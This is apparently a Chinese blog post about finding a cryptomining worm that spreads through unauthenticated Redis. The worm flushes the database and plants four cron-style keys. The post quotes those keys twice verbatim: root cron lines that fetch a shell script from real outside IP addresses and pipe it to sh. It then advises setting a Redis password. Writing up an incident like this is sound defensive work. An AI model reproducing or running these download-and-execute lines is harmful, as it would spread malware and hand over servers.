# 前言

偶然间发现项目中 redis 的值会全部失效,即使你设置了很长的时间甚至不过期也会在两个小时左右消失。那到底是什么样的病毒呢,以及会产生什么样的现象呢?

# 现象

你的 Redis 中自己的所有的 key 全部消失,同时只会剩下 4 个 key 分别为 backup1、backup2、backup3、backup4, 并且这种现象是周期性的,也就是说每隔一段时间你的 Redis 会 flushall 一次同时插入 4 个 backup 的 key。

四个 backup 以及对应的值分别如下图所示:

image-20230412153750173

backup1:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
backup2:
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
backup3:
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4:
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\

# 我的排查

首先很容易混淆的一点,对 redis 不是很熟悉的同学,再看到上面的 backup1、backup2 等很容易把他当作备份文件,也就没在意。

然后我开启 redis 的监控模式,由于两个小时以上才会清空,我刚开始监控也没有监控那么长的时间。并没有发现问题所在,后台就后台输出监控到文件,最后再文件中居然有 flushall

image-20230412155507553

还设置 backup 😡😡😡

四个 backup 对应的值

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\

由于都是 sh 我就直接浏览器访问看看都是什么命令,好家伙

image-20230412155704558

关闭你的防火墙删除日志文件删除各种东西杀掉某些进程删除镜像等等

# 病毒说明

通过查资料得知,这是一种 Redis 扩散病毒,专门利用 Redis 未授权访问漏洞的挖矿病毒。对!你的 Redis 没设置密码,没授权,让病毒有了可乘之机。

病毒会在你系统上下载恶意脚本,危害系统安全!!

# 预防措施

一定要设置密码!

一定要设置密码!

一定要设置密码!

Linux 系统安装 Redis 一定要设置密码,否则被入侵之后,后果很严重!!

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Davaded 微信支付

微信支付

Davaded 支付宝

支付宝

Davaded 贝宝

贝宝